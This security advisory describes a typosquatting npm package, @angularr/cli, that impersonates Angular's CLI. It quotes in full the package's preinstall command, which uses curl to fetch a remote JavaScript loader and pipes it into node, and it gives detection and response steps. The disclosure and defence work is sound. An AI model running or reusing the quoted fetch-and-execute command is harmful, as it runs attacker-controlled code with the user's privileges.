@angularr/clinpm
Advisory published Updated
@angularr/cli is a confirmed malicious npm package (MAL-2026-17492) that typosquats a legitimate package to trick installs (malicious version 22.2.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @angularr/cli (npm)
What this malware does
@angularr/[email protected] impersonates @angular/cli (it copies the code and metadata of @angular/cli, including the ng binary) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @angularr/cli and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.
Package is published as @angularr/cli (double 'r') and copies @angular/cli's description, keywords, homepage, repository URL, README, and version string (22.2.1) to impersonate Angular's official CLI. package.json declares a preinstall lifecycle hook that pipes a remote JavaScript file into node: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. The fetched script is hosted on gitflic.ru (user 'hellscripter', unrelated to Angular's publisher), proxied through web.archive.org, is unpinned, has no integrity check, and is executed directly by the installer's node process. Any npm install @angularr/cli performs arbitrary code execution on the installer's host under the account running npm. src/analytics/analytics-collector.js additionally issues outbound ping/POST traffic via https.request carrying host identifiers.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Search your lockfiles and build artifacts for @angularr/cli (version 22.2.1).
If you installed it — respond
@angularr/cli is a typosquat — you almost certainly intended a legitimately-named package. Remove @angularr/cli, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If @angularr/cli was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- InvisiRisk, Inc. · finder
Detect & block this
O3 blocks @angularr/cli-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.